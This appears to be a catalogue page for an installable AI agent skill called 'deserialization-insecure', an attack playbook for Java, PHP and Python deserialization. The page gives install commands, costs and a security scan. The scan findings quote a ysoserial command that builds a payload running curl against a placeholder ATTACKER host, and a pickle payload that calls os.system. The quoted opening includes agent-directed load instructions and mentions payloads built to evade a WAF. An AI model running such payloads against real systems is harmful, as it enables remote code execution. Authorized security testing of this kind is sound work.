deserialization-insecure

deserialization-insecure is a skill for Claude Code, Codex from yaklang/hack-skills. It costs 52 tokens per session (6,558 once invoked), scanned A, original, MIT.

A security testing guide for unsafe deserialization in Java, PHP, and Python applications. Deserialization turns stored or received data back into objects, and unsafe handling can let an attacker run code or access files.

In plain words
What is it for?
It is for assessing deserialization endpoints, identifying usable attack paths, and choosing relevant tools or techniques during authorized security testing.
Why use it?
It helps investigate whether untrusted serialized data can lead to serious security problems and how an attack might work.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

About the project

HackSkills is an organized knowledge base of installable skills that gives AI agents practical security knowledge across areas such as web security, privilege escalation, reverse engineering, and digital forensics. It is intended for bug bounty work, penetration testing, CTF competitions, and authorized security research. The catalogue entries are the project's own master, category, and topic skills.

yaklang/hack-skills · 2,093 stars · on GitHub

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/yaklang/hack-skills/deserialization-insecure
Any agent
npx skills add yaklang/hack-skills --skill deserialization-insecure
Clone the repo
git clone --depth 1 https://github.com/yaklang/hack-skills

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for deserialization-insecure

README.md
[![agentmods](https://agentmods.dev/badge/skills/yaklang/hack-skills/deserialization-insecure.svg)](https://agentmods.dev/skills/yaklang/hack-skills/deserialization-insecure)
Your own site
<a href="https://agentmods.dev/skills/yaklang/hack-skills/deserialization-insecure"><img src="https://agentmods.dev/badge/skills/yaklang/hack-skills/deserialization-insecure.svg" alt="Measured on agentmods" height="20"></a>
Per session 52 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 6,558 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00052 $0.06558
Opus 5 $0.00026 $0.03279
Sonnet 5 $0.00010 $0.01312
Haiku 4.5 $0.00005 $0.00656

Measured 6d ago against content hash 4304aacd259c, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade A, and why

deserialization-insecure scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

return (os.system, ("id",))
Origin

Copies of this mod

4 near-identical copies found in the catalogue:

skills/deserialization-insecure/SKILL.md · 726 lines

How it starts

The opening of the file, as written. The whole thing — 726 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: Insecure Deserialization — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.

  • jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
  • unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
  • ghost-bits-cast-attack when a WAF blocks your BCEL ClassLoader or Fastjson @type payload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint

Advanced Reference

Also load JAVA_GADGET_CHAINS.md when you need:

  • Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
  • SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
  • Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
  • .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
  • Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
  • Detection fingerprints: magic bytes table by format (Java AC ED, .NET AAEAAD, Python pickle 80 0N, PHP O:, Ruby 04 08)

1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?

Java Serialized Objects

Indicator Where to Look
Hex ac ed 00 05 Raw binary in request/response body, cookies, POST params
Base64 rO0AB Cookies (rememberMe), hidden form fields, JWT claims
Content-Type: application/x-java-serialized-object HTTP headers
T3/IIOP protocol traffic WebLogic ports (7001, 7002)

Read the full file on GitHub · 726 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 726 lines · 52 tokens per session scan A 4304aacd259c

Subscribe to this mod's changes

deserialization-insecure is a skill published in the GitHub repository yaklang/hack-skills (2,093 stars, last pushed 2mo ago), licensed MIT. It adds 52 tokens to every session and 6,558 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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